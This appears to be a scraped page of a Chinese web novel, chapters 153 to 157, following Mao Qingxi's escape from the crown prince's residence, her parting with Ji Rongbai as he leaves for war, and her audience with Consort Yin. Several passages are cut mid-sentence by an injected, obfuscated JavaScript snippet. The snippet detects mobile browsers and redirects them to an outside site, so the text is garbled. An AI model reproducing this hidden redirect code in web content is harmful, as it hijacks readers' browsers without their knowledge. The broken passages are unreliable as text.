“这么说,在冀大夫人和师伯眼里,钱云霄才是最适合的储君人选,对吧?” 她顿了顿,语气里带着一丝毫不掩饰的嘲讽: “为了不影响钱云霄登上皇位,哪怕只是因为圣上当年一句不切实际的承诺,就可以随便要了冀容白的命?” 白苏道长正要反驳,茅清兮却抢先一步,将手中的折扇“啪”的一声合上,冷笑: “真是滑天下之大稽!就为了这么个可笑的理由?” 白苏道长被她噎得脸色铁青,却又无话可说。 他只能冷哼一声,用一种近乎于赌气的口吻说: “冀容白要是安安分分地待在京城里,做他的逍遥贵公子,谁会吃饱了撑的去要他的命?” 他越说越激动,声音也越来越大: “可他呢?非要去云陲那个鸟不拉屎的地方,还搞了个什么鹰羽卫,这不是自寻死路吗?” 说到“鹰羽卫”三个字的时候,白苏道长的语气里充满了忌惮。 “鹰羽卫,那就是一块大肥肉,谁见了都眼红!虽然人不多,但个个都是精兵强将,一个能顶三个用!” 他顿了顿,压低了声音,语气里带着一丝阴狠: “而且,这还是冀容白的亲兵,跟那些只认兵符的官兵可不一样。他要是真有点什么不该有的心思……” 他没有继续说下去,但意思已经很明显了。 茅清兮听得心头发冷。 她冷笑一声,语气中带着一丝不屑: “要不是他建立了鹰羽卫,只怕早就被你们这些人挫骨扬灰了吧!” 她太了解这些人了,为了达到目的,什么事都做得出来。 白苏道长似乎被她说中了心事,脸色一阵变幻。 他叹了口气,语气也软了下来: “如今这天下,好不容易才太平了几年,再也经不起折腾了。十一年前那场仗,**多少人,你又不是不知道……” “要是再因为冀容白打起来,老百姓可怎么活啊?” 茅清兮听了,只觉得一阵反胃。 她嗤笑一声,眼神中充满了鄙夷: “说得真好听!可现在,守着北境,保家卫国的,不正是你们口中那个身中剧毒,命不久矣的冀容白吗?” 她步步紧逼,目光如炬: “你们呢?又做了什么?躲在京城里勾心斗角,争权夺利,坐享其成?” “你们的良心,都被狗吃了吗?” 白苏道长被她骂得狗血淋头,脸色一阵青一阵白,却一句话也说不出来。 茅清兮懒得再跟他废话,转身就走。 走到门口的时候,她突然停下脚步,回头看了白苏道长一眼。 那一眼,看得白苏道长心里直发毛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062183|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “师伯,”茅清兮的声音幽幽响起,“我可不想明天听到什么风言风语,您说呢?” 她微微一笑,露出一个意味深长的表情: “您对冀大夫人,可真是‘关心’得紧呢……” 白苏道长浑身一震,像是被踩了尾巴的猫一样,差点跳起来。 他气得浑身发抖,却又不敢发作,只能咬牙切齿地说: “你放心!只要你不多嘴,我保证不在太子面前乱说话!” 茅清兮满意地点点头,足尖一点,身形瞬间消失在夜幕中,只留下白苏道长一个人,在原地气得跳脚。 太子府中的动静,应该是司玄苏帮她引开的视线。 为了避免节外生枝,白苏道长所在的院落外,又增加了几名侍卫,来回巡逻。 茅清兮潜伏在暗处,观察了片刻,身形如同鬼魅一般,悄无声息地接近一名落单的侍卫。 她出手如电,在那侍卫还没反应过来之前,便将他打晕在地。 随后,她迅速换上侍卫的衣服,大摇大摆地走向院墙。 就在她准备翻墙而出的时候,身后突然传来一阵劲风。 茅清兮心中一凛,来不及多想,身体几乎是本能地向一旁闪避。 “咻——” 一支羽箭擦着她的耳廓飞过,带起一阵火辣辣的疼痛。 几缕断发,在空中飘落。 茅清兮猛地回头,只见孔谋站在不远处,手持长弓,冷冷地盯着她。 “果然有古怪。” 孔谋的声音低沉而冰冷,像是一块寒冰。 离开白苏道长房间时,他越想越觉得不对劲。 白苏道长说他喝了那碗药,可那药碗里剩下的药汁却几乎没怎么少。 以白苏道长的身手,怎么可能连一个中了**的刺客都对付不了? 除非,那刺客根本就没中多少**! 而且,白苏道长的反应也太反常了,除非…… 孔谋眼中精光一闪,除非那刺客用了什么手段,让他无法说出真相! 他守在院外,没等多久,就看到一个穿着侍卫服的人影,鬼鬼祟祟地朝院墙走去。 果然不出所料! 茅清兮暗暗叫苦,她没想到孔谋竟然如此敏锐。 眼下,她只能先摆脱孔谋再说。 第一百五十三章 她脚下生风,身形如燕子般轻盈,几个起落间,便已掠出数丈。 孔谋冷哼一声,紧追不舍。 与此同时,府中的侍卫也发现了这边的动静,纷纷叫喊着追了上来。 “抓刺客!快抓刺客!” 孔谋见状,索性扔了弓箭,反手拔出腰间的长剑,剑尖直指茅清兮的后心。 前有围堵,后有追兵,茅清兮陷入了进退两难的境地。 她一咬牙,索性不再躲避,转身迎上了孔谋的剑锋。 两人瞬间交手数招,兵刃相接,发出阵阵刺耳的金铁交鸣声。 茅清兮这才发现,孔谋的武功竟然如此高强,丝毫不逊色于那些江湖上的成名高手。 上一世,她一直以为孔谋只是个手无缚鸡之力的文弱谋士,没想到他竟然还藏着这一手! 几个回合下来,两人都从对方的招式中,隐约看出了熟悉的痕迹。 “**心法?!” 两人心中同时一惊,几乎是异口同声地喊了出来。 茅清兮万万没想到,孔谋竟然也是青鸾阁的人! 青鸾阁不是早就已经关闭山门,不问世事了吗? 怎么这京城里,遍地都是他们的马仔? 她心中惊疑不定,手上却不敢有丝毫放松。 为了掩饰身份,她故意卖了个破绽,任由孔谋的剑锋划破自己的肩膀。 与此同时,她也洒出一把**,借着烟雾的掩护,再次消失在夜幕之中。 等孔谋挥散眼前的烟雾,哪里还有茅清兮的踪影? 孔谋的脸色阴沉得可怕,仿佛能滴出水来。 短短一个晚上,竟然有两个身份不明的女子潜入太子府,而且都在他眼皮子底下逃脱了。 这简直是奇耻大辱! 他心中的怒火,如同火山爆发一般,几乎要将他整个人都吞噬。 另一边,钱云霄的书房里,气氛同样压抑得令人窒息。 “又是什么人?” 钱云霄的声音低沉而沙哑,带着一丝疲惫。 “是个女子,身手不凡。” 孔谋的声音也冷得像冰。 他顿了顿,忽然问道: “殿下可曾听说,京城中有哪位女子,有如此高强的武功?” 钱云霄的脑海中,第一个闪现出的,便是那抹如火焰般耀眼的红色身影。 但他很快就摇了摇头,感觉不太靠谱。 孔谋察觉到他的异样,试探着问道: “殿下可是想到了什么人?” 钱云霄沉默了片刻,缓缓开口: “茅清兮。” “茅清兮?” 孔谋也想起了那个在青松观外有过一面之缘的女子。 他微微皱起眉头,沉声说道: “殿下,今晚这两个刺客,来历不明,目的可疑。我们必须尽快查清楚她们的身份。” “不管是不是茅清兮,都不能放过任何线索。” 钱云霄的眉头紧紧锁在一起,形成一个“川”字。 “此事,孤自有分寸。” “殿下……” 孔谋从他的语气中听出了一丝犹豫和不忍。 钱云霄抬手打断了他,语气坚定地说: “孤会亲自去试探她。要是真是那妹子,孤绝不会手下留情。” 钱云霄嘴上虽然这么说,心里却并不认为茅清兮会是今晚的刺客。 他只是,想找个机会,再见她一面罢了。夜色沉沉,像一块巨大的幕布,笼罩着整个京城。 茅清兮离开太子府,并未直接返回听雨阁。 她担心有人跟踪,暴露身份,便在城中迂回绕行。 确认安全后,她才从听雨阁后门悄然进入。 司玄苏比她先到一步,正焦急地等待着。 直到看见茅清兮的身影,他紧悬的心才放了下来。 “主子,您受伤了?” 司玄苏眼尖,一眼就注意到茅清兮肩头渗出的血迹。 “小伤。” 茅清兮轻描淡写地按了按肩膀。 为了避开要害,她故意侧身,孔谋那一剑刺得并不深。 “你也受伤了?” 茅清兮的目光落在司玄苏身上,敏锐地捕捉到一丝血腥味。 “嗯。” 司玄苏微微颔首,神色凝重, “这孔谋的武功不容小觑,之前情报有误,从未提及他擅武,没想到他不止是个军师。” 茅清兮想起前世种种,心头一凛。若非今夜孔谋出手,她们还在云里雾里。 “伤在何处?” 茅清兮问道。 司玄苏沉默地转过身,露出小臂上触目惊心的伤口,深可见骨。 茅清兮脸色一变,这伤势远比她的严重,他的左臂几乎无法动弹。 她小心翼翼地为他包扎好伤口,心中涌起一个念头。 “孔谋怕是已经起了疑心,你这几日定要加倍小心。” 她不放心地嘱咐。 “主子放心,” 司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062184|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄苏沉声道, “我与孔谋交手时,特意用了女子的身法步态迷惑他,他应该会以为对手是个女子。” 他多年来扮演“雪苏”,模仿女子形态早已驾轻就熟。 茅清兮微微点头,却仍觉不妥。 孔谋去而复返,可见心机深沉,这障眼法未必能瞒过他。 他是青鸾阁的人,若顺藤摸瓜,查到娘亲的过往……自己的身份还能隐瞒多久? 况且,她身上还留着孔谋的剑伤。 如何才能打消他的疑虑? 茅清兮陷入沉思,一时竟忘了动作。 “主子?” 司玄苏轻唤。 茅清兮回过神,摇了摇头,暂时压下心头的纷乱。 她拿出寒星露解药的药方,目光在那些陌生的药材名上逡巡,眉头紧锁。 鲛人泪?仙人珠?玉露草? 这些都是什么?她从未听说过。 她将药方递给司玄苏,“你见多识广,可认得这些药材?” 司玄苏接过,仔细辨认,神色却愈发凝重。 半晌,他摇了摇头, “属下无能,这些药材,闻所未闻。” “不过,我会动用一切力量,暗中查访这些药材的下落。” 他补充道。 茅清兮轻叹一声。两个月的时间……单靠青羽暗卫,恐怕希望渺茫。 青羽暗卫只在京城活动,若能在江湖上也有自己的人手,或许…… 她再次意识到自身力量的薄弱。 离开听雨阁后门,茅清兮怔住了。 冀容白? 他竟等在那里。 今日的他,一改往日的病弱,换上了一身银色铠甲,那是他从军营归来时穿的。 他身上带着尚未散去的肃杀之气,青丝被玉簪高挽,更衬得他面容俊美,剑眉星眸。 “你怎么在这儿?” 茅清兮诧异地问。 “等你。” 冀容白的回答简短。 “等我?” 茅清兮更是不解, “这么晚了,你怎么不在府里歇息?” 冀容白上前,自然地牵起她的手, “储君那事你不用操心,我会安排人假扮你,混淆视听。” 茅清兮心中一动, “你……都知道了?” “娘子,” 冀容白欲言又止,最终只化作一声轻叹, “以后有什么事,尽管告诉我。我会帮你。 第一百五十四章 ” 茅清兮略一思索,将那张药方递给他, “这是寒星露的解药方,但这些药材我都没见过,你能否找到?” 冀容白接过,只看了一眼,便道: “好,交给我。” 他牵着她,沿着空无一人的长街慢慢走着。 大晋虽无宵禁,但此刻街上已空无一人。 茅清兮实在不明白他为何要走着回去, “没有马车吗?” 她倒不是怕走路,只是担心他的身体。 冀容白默了片刻,才开口: “我即将奔赴战场。” “明日?” 茅清兮猛地停下脚步, “不是说后日吗?怎么提前了?” “云陲战事吃紧,不能再拖,再拖下去,澜州难保。” 冀容白解释。 “这样……” 茅清兮低下头,声音有些发涩。 心口处,一股莫名的情绪翻涌,让她有些喘不过气。 她紧蹙眉头,想要压下这股情绪。 “娘子?” 冀容白的声音在她耳边响起。 “嗯?” 茅清兮抬眸,眼中竟带着一丝自己都未察觉的茫然和慌乱。 冀容白的心,仿佛被什么击中。 他多想在这份慌乱中,留下自己的痕迹。 他眸底的墨色翻涌,目光深沉。 茅清兮抿了抿唇,声音很轻,带着几分无措, “冀容白,你两个月后……会回来的,对吧?” 她问完,自己都愣住了。 那话语中流露出的惊惶和担忧,连她自己都感到惊讶。 冀容白低笑一声,舌尖抵住上颚,狠狠咬下。 剧痛传来,他眸底的暗色才缓缓消退。 他家闺女还在豆蔻年华,还需时日成长。 即便她在外人面前再如何冷静,再如何果决,可实际上,她从未被真正地爱过。 无人向她透露,被爱是什么滋味。 冀容白笑了,眼底是温柔和宠溺, “当然,夫人莫忘守候归期。” 茅清兮没有说话,只是觉得心里更乱了。 冀容白身上的寒星露只是暂时被压制,两个月后只会更加严重。 而她,只有一张药方,却无力配制出解药。 茅清兮心急如焚,紧抿着唇,眼尾微微上挑。 冀容白却好似看穿了她的心思,从怀中摸出一块桂花糕,送到她嘴边。 “吃点东西。” 他说。 茅清兮愣了一下,暗道此刻哪还顾得上用膳,但还是下意识地张口咬住。 香甜的味道在口中蔓延,稍稍缓解了她紧绷的神经。 冀容白又递过来一块,茅清兮没有拒绝。 两人一路走,一路吃,不知不觉竟也吃下了好几块。 回到府中,屋内的灯还亮着。 “富峻,” 冀容白唤了一声, “从今日起,你留在府中,听候夫人调遣。” 一个身影悄无声息地出现在屋内,躬身应道: “是,主子。” 茅清兮看了富峻一眼,虽不觉得自己会有什么危险,但想到那些药材,或许可以让他帮忙寻找。 “还有,” 冀容白看着茅清兮,目光温柔, “若是受了委屈,就等我回来。遇到实力强劲的对手……也等我回来。” 茅清兮抬眸,眼中闪过一丝不服气,还带着少女的一点娇憨 “谁说我打不过?” 冀容白低笑,声音里满是宠溺: “是,我们家娘子最厉害了。不过,必须保护好自己,知不知道?” “这还用你说,” 茅清兮白了他一眼, “倒是你,战火纷飞不分敌我,可别逞强。” “嗯,” 冀容白应着,看着她, “娘子这是在关心我?” 茅清兮别过脸,不去看他, “谁关心你,我只是……” 她顿了顿,没说下去。 “只是什么?” 冀容白追问。 茅清兮不说话了。 冀容白看着她,眼底笑意更深, “娘子,我们即将分别两个月,临行前,能不能给我一件……定情信物?” “定情信物?” 茅清兮皱眉, “我们之间,哪有什么定情信物?” “有。” 冀容白用手指点了点面庞,目光灼灼, “娘子亲这里一下,就算是了。” 茅清兮一愣,随即瞪了他一眼, “想得美!” 她转身就走。 冀容白看着她的背影,嘴角的笑意更深了。清晨,薄雾如轻纱般笼罩着京城,为这座古老的都城平添了几分神秘。将军府门前,御林军早已肃立,气氛庄严肃穆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062185|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >今日,是鹰羽卫出征的日子,也是各方势力暗中角力的时刻。 茅清兮还未及梳洗完毕,便听得宫中内侍特有的尖细嗓音,划破了将军府的宁静: “奉贵妃娘娘口谕,宣冀夫人——入宫觐见。” 这突如其来的召见,让茅清兮心中一凛。她与那位高高在上的尹贵妃,素无交集,今日这般,是何用意? 俞霜站在她身后,担忧之情溢于言表,却不敢多言。 “不碍事。”茅清兮轻声说道,转身看向窗外,眼神坚定。 这或许是一场避无可避的较量,但她茅清兮,绝不会轻易退缩。 此时,冀容白已然披挂整齐。银甲闪耀,红袍似火,衬托出他英武不凡的气概。 他大步流星地走到茅清兮面前,平日里温润的眼眸,此刻锐利如刀,仿佛能看穿人心。 “富峻。”冀容白沉声吩咐。 “属下在!”富峻立刻应声,他是冀容白最得力的助手,也是他最信任的兄弟。 “你暗中随夫人进宫,护她周全。若有差池,提头来见。”冀容白的声音不大,却带着不容置疑的威严。 “主子放心,属下便是豁出性命,也定保夫人平安归来!”富峻抱拳领命,神情肃然。 茅清兮抬眸,凝视着眼前这个即将远赴沙场的男人。他的身影伟岸如山,给人以无限的安全感。然而此刻,她的心中,却五味杂陈。 有担忧,有不舍,还有一丝……连她自己都未曾察觉的情愫。 “等你回来……”她欲言又止,声音轻得几乎听不见。 冀容白走到府门前,停下脚步。他俯身为她打开马车车门,动作轻柔,与他平日的果决判若两人。 “等我凯旋,最多两月,我必归来。”他从怀中取出一块千层酥,递到她面前,“这是你爱吃的,路上饿了便吃些。” 茅清兮接过,轻轻咬了一口。熟悉的甜味在口中蔓延,却冲淡不了她心中的忧虑。 她明白,这一别,或许便是生死两茫茫。 冀容白翻身上马,动作干净利落,英姿飒爽。 他深深地看了茅清兮一眼,那一眼,仿佛要将她的模样,深深地刻在心底。 随后,他猛地一拉缰绳,率领着五万鹰羽卫,如同一股黑色的钢铁洪流,向着城门的方向奔腾而去。 马蹄声震天动地,也震颤着茅清兮的心弦。 此刻的他,不再是那个温文尔雅的贵公子,而是大晋朝的守护神,是令敌人闻风丧胆的战神。 第一百五十五章 晨曦洒在他的身上,勾勒出他冷峻的侧脸。他整个人,如同一柄出鞘的宝剑,寒芒毕露,直指北境。 茅清兮的心,跳得飞快。她仿佛看见了冀容白在战场上,纵横捭阖,所向披靡的身影。 那一刻,她的心中,涌起一股复杂的情感。有敬仰,有钦佩,更有……担忧与牵挂。 城外,皇帝亲率百官,为冀容白送行。旌旗蔽日,场面恢弘。 而茅清兮,却只能登上马车,缓缓驶向那座金碧辉煌,却又危机四伏的皇宫。 马车沿着青石板路,缓缓前行,发出单调的“轱辘”声。 茅清兮的心,却无法平静。她忍不住掀起车帘一角,向后望去。 空旷的街道上,早已不见冀容白的身影,只有晨风,轻轻吹动着她的发梢。 “主子,可是有什么不妥?”俞霜察觉到她的异样,轻声问道。 “无事。”茅清兮放下车帘,遮住了眼中的失落。 她轻叹一声,将纷乱的思绪,压回心底。 抵达皇宫,茅清兮被内侍引领着,穿过重重宫门,来到了尹贵妃的寝宫——玉华宫。 还未踏入宫门,茅清兮便感受到一股无形的威压,迎面而来。 她深吸一口气,整了整衣襟,迈步而入。 玉华宫内,金碧辉煌,极尽奢华。 尹贵妃端坐在主位上,华服加身,更显得她容貌艳丽,贵气逼人。 她微微抬眼,打量着眼前这位年轻的女子。 茅清兮上前几步,恭敬地行礼:“臣妇茅清兮,参见贵妃娘娘。” “起来吧。”尹贵妃的声音,带着一丝慵懒,一丝漫不经心。 茅清兮依言起身,垂手立于一旁,心中却在急速思忖。 尹贵妃召她前来,究竟有何目的? 难道是因为安王府的旧怨?可若真是为此,这时间也未免拖得太久了些。 宁王是尹贵妃的亲子,宁王妃是她的侄女,除此之外,她实在想不出其他理由。 “你可知,本宫为何召你?”尹贵妃终于开口,打破了沉默。 她微微挑眉,眼神中带着一丝玩味。 “臣妇……愚钝。”茅清兮如实回答,语气谨慎。 “本宫那不争气的女儿,非要本宫将你支开。”尹贵妃轻笑一声,语气中带着一丝无奈。 茅清兮心中一惊,不争气的女儿? 莫非是……四公主?! “她昨日从太后处回来,听闻冀容白已娶妻,便开始不吃不喝,还把自己关在屋里。今早又听说冀容白要出征,便一早跑去了城门……”尹贵妃缓缓说道,语气中带着一丝纵容。 茅清兮的眉头,微微蹙起。 她想起,在安王府时,宁王妃就曾因四公主而针对过她。 京中传言,四公主心悦冀容白,甚至曾为他闹到圣上面前。 但圣上,却始终未曾应允这门婚事。 因为冀容白与四公主,有血缘之亲。 可这层关系,鲜为人知。四公主,恐怕也不知情。 “芍芸自幼被本宫宠坏了。”尹贵妃无奈地吐了口气,目光落在茅清兮身上。 她的笑容依旧明艳,但眼中,却毫无温度,冰冷如霜。 “她想要的,就一定要得到。得不到,便会想尽办法去争,去抢。”这已经不是暗示,而是明示了。 茅清兮沉默不语。她知道,尹贵妃这是在警告她,也是在试探她。 “皇上虽不会同意她嫁给冀容白,但这又如何?本宫向来教导她,想要什么,便自己去争取,即便是……用些手段。”尹贵妃的声音,陡然变得冷厉。 “男人嘛,总有弱点。抓住了,便能为己所用。” 茅清兮的心,猛地一沉。 她不确定,尹贵妃是否知晓冀容白的**。但从她的话语中,她能感觉到,这位贵妃娘娘,绝非善类。 茅清兮的手,不自觉地攥紧了衣袖。她深吸一口气,缓缓开口:“四公主对夫君情深义重,臣妇自当成全。只是……” 她话锋一转,语气变得强硬起来:“只是如今是非常时期,夫君出征在外,朝中不稳。娘娘此时为难臣妇,怕是会引来非议,对娘娘的名声不利。” 茅清兮改变了策略,她知道硬碰硬对她不利,转而以尹贵妃的名声为突破口。 尹贵妃闻言,脸色微变。她没料到,茅清兮竟敢拿她的话来反驳她。 “你这是在教训本宫?”尹贵妃的声音,冷了下来。 “臣妇不敢。”茅清兮垂首,语气却不卑不亢,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062186|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣妇只是实话实说。若娘娘执意要罚,臣妇也只能受着。但臣妇担心,此事若是传了出去,有损娘娘的清誉,更会让前线的将士们寒心。” 她顿了顿,继续说道:“臣妇听闻,民间有言,‘前方将士浴血,后宫嫔妃争宠’。臣妇不希望,娘娘成为这流言中的主角。” 这番话,说得软中带硬,既表明了立场,又暗含威胁。 “你!”尹贵妃气到整个人都不好了,却又一时无法反驳。 她身边的宫女,见状正要呵斥,却被尹贵妃抬手制止。 “罢了。”尹贵妃深吸一口气,强压下心中的怒火,“本宫今日,也算是见识了冀夫人的口才。” 她冷冷地看了茅清兮一眼,说道:“冀容白此战,吉凶难料。你……好自为之吧。” “多谢娘娘提醒,臣妇相信,夫君定能凯旋。”茅清兮不卑不亢地回答。 从玉华宫出来,茅清兮的脚步,比来时快了许多。 等候在宫门外的富峻,见她平安归来,心中悬着的石头,总算落了地。 茅清兮却径直走到富峻面前,伸手拉过他的马缰。 “夫人,您这是……?”富峻一脸茫然。 “我去送送他。”茅清兮没有解释太多,翻身上马,扬鞭而去。 她要去送的,不仅仅是冀容白,还有她那颗,牵挂着他的心。“出发!” 低沉的嗓音,在京郊五里坡回荡。 冀容白银甲披身,胯下骏马焦躁地刨动着前蹄,喷出一团白雾。他缓缓扫视面前的鹰羽卫,这些人都是他亲手带出来的兵,沉默,却锐利如刀。 “枭”字大旗迎风招展,猎猎作响,肃杀之气弥漫开来。 冀容白一马当先,墨川紧随其后。 气氛并不凝重,甚至还带着几分轻松。离云陲还有三天路程,这些铁骨铮铮的汉子们,也难得有闲暇说笑。 “头儿,走的时候,嫂夫人没哭鼻子吧?”王煊,五大三粗的汉子,此刻却笑得像个偷瓜的猹,声音里都带着促狭。 一句话,引得众人侧目,挤眉弄眼,满脸都是等着听热闹的兴奋。 冀容白冷冷地瞥了王煊一眼,没好气地哼了一声。 墨川打马靠近了些,瞥了自家主子一眼,心知肚明。 第一百五十六章 昨晚,这位爷可是在夫人那里碰了个硬钉子。 “要我说,头儿有了家室,就是不一样了。”有人感慨了一句,语气中带着几分艳羡。 “咋不一样了?”旁边的人立刻追问,好奇心被勾了起来。 “你们没瞧见吗?头儿这心,都飞到九霄云外去了,哪还在咱们这儿!”王煊嘿嘿一笑,压低了声音,那神情,要多猥琐有多猥琐。 目光齐刷刷汇聚到冀容白身上,仿佛要把他看出个洞来。 冀容白磨了磨牙,似笑非笑地朝王煊点了点手指,那眼神,分明是“你小子给我等着”。 王煊脖子一缩,却还是憨憨地笑着,露出一口大白牙。 冀容白也懒得跟他们计较,大战在即,这些人不过是想放松一下罢了。 “当我踏出家门那刻,我家那口子,抱着我哭得那叫一个肝肠寸断……”王煊还在絮叨着,声音里带着炫耀,“我好说歹说,她才松了手……” “那是嫂夫人舍不得你,怕你回不来。”有人笑着接话,语气里满是羡慕。 “嘿,谁说不是呢!”王煊嘴上谦虚,眼角眉梢却都是得意,就差没把“我很厉害”四个字写在脸上了。 冀容白听着,心里却不是滋味。他想起昨晚茅清兮那冷淡的模样,别说哭了,连句软话都没有。 正想着,队伍后方忽然传来一阵骚动。 杂乱的马蹄声,打破了官道上整齐划一的节奏,由远及近,越来越清晰。 鹰羽卫们纷纷回头,脸上都带着惊讶和好奇,交头接耳,议论纷纷。 “干什么?都给我闭嘴!” 墨川正要呵斥,却在看清来人后,硬生生把后半句话咽了回去,换上了一副目瞪口呆的表情。 一抹火红的身影,如闪电般划破长空,直奔队伍前方而来。 茅清兮?! 她怎么来了? 茅清兮策马疾驰,直到队伍最前方,才猛地一勒缰绳,硬生生停了下来。 她紧紧握着缰绳,微微喘息,鬓边的碎发被汗水打湿,紧贴在脸颊上,脸颊因为疾驰而泛着红晕,但那双眼睛,却亮得惊人,像是燃烧着两团火焰,牢牢锁定着冀容白。 冀容白的心,像是被一只无形的手狠狠攥住,又酸又胀,还带着一丝隐秘的欢喜。 他竭力压下心头的悸动,扯出一个自认为最完美的笑容,柔声问道:“你怎么来了?” 声音出口,才发现竟带着一丝不易察觉的颤抖,该死的,没出息! “我……”茅清兮张了张口,却又顿住,她深深地看了冀容白一眼,目光复杂难明。 冀容白被她看得心头一紧,呼吸都急促了几分。 “我来……”茅清兮再次开口,声音很轻,却带着一丝决绝,“送你样东西。” “送我?”冀容白微微一怔,随即反应过来,嘴角勾起一抹玩味的笑意,“送我什么?” 他故意放慢语速,声音低沉而沙哑,带着一丝不易察觉的诱哄。 身后,一群看热闹不嫌事大的家伙,一个个伸长了脖子,恨不得把耳朵贴到两人身上。 茅清兮深吸一口气,挺直了脊背,直视着冀容白的眼睛,一字一顿地说道:“送你……一个念想。” “念想?”冀容白挑了挑眉,嘴角的笑意更深了,他倒要看看,这小妮子葫芦里卖的什么药。 茅清兮不再说话,只是定定地看着冀容白。 冀容白被她看得心痒难耐,恨不得立刻把她抓过来,狠狠地“审问”一番。 他猛地回头,瞪了一眼那些探头探脑的家伙,声音冷厉如冰:“都给我听好了,三天之内赶到云陲,哪个掉队了,军法处置!” 一群人立刻噤若寒蝉,一个个灰溜溜地策马离开,速度比兔子还快。 冀容白这才转过头来,将缰绳扔给墨川,随后,足尖一点,轻飘飘地落在了茅清兮的身后。 他一手揽住茅清兮的腰,一手接过缰绳,动作行云流水,一气呵成。 “驾!” 骏马嘶鸣一声,猛地冲进了旁边的密林,带起一路尘土飞扬。 林中静谧,只有风吹树叶的沙沙声,和两人粗重的呼吸声。 冀容白带着茅清兮下了马,他将她抵在一棵粗壮的树干上,微微俯身,凝视着她,声音低沉而危险:“说吧,什么念想?” 茅清兮咬了咬唇,胸口剧烈地起伏着,她能感觉到冀容白身上传来的热度,几乎要把她烫伤。 她抬起头,看着冀容白,眼神清澈,却带着一丝不容忽视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062187|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的坚定。 突然,她踮起脚尖,在冀容白的脸颊上,蜻蜓点水般地留下一个轻柔的触碰。 没有过多的言语,甚至没有任何停留。 快到冀容白几乎以为那只是一个错觉。 他愣怔在原地,一时间竟忘了反应。 不是眼睫,也不是什么微凉的触感。 就是一个真真切切的,带着温度的,属于茅清兮的……吻。 冀容白感觉自己的心跳都停止了,脑海中一片空白,只有脸颊上那残留的,微弱的触感,在提醒着他,刚才发生的一切,不是梦。 他下意识地抬手,摸了摸被茅清兮亲过的地方,那里似乎还残留着她的温度,和一丝淡淡的馨香。 “这就是……你说的念想?”冀容白的声音沙哑得不成样子,像是从喉咙深处挤出来的。 他猛地扣住茅清兮的腰,把她紧紧地禁锢在怀里,力道大得惊人,像是要把她揉进自己的骨血里。 茅清兮却没有挣扎,她抬起头,看着冀容白,眼中闪过一丝狡黠的笑意。 “对,这就是我的念想,”她顿了顿,语气轻快,“也是给你的护身符,保你平安归来。” 冀容白被她撩拨得心头火起,脸色阴沉得可怕,像是暴风雨前的天空。 他知道,如果此刻跟茅清兮较真,吃亏的肯定是自己。 这丫头,滑不溜手,真要动起手来,他未必能占到便宜。 想到这里,他咬牙切齿,眼神越发幽暗,像是要把茅清兮生吞活剥。 茅清兮却像是卸下了千斤重担,整个人都轻松下来。 她不喜欢拖泥带水,更不喜欢暧昧不清。 既然心动了,那就勇敢表达。 但,也仅仅只是表达而已。 她担心冀容白,所以才来送他。 但她和冀容白之间,还有很多事情没有解决。 比如,那个一直横亘在他们之间的,所谓的青梅竹马…… 茅清兮咬了咬唇,思绪翻涌,脸色也变得有些复杂。 但看着冀容白阴沉的脸色,她又忍不住笑起来,那笑容,明媚耀眼,仿佛能驱散一切阴霾。 冀容白拿她毫无办法,只能咬着牙,回以一笑,眼中却带着无奈和宠溺。 第一百五十七章 “记住你说的话。”冀容白的声音低沉而沙哑,带着一丝警告,“等我回来,再跟你算账。” 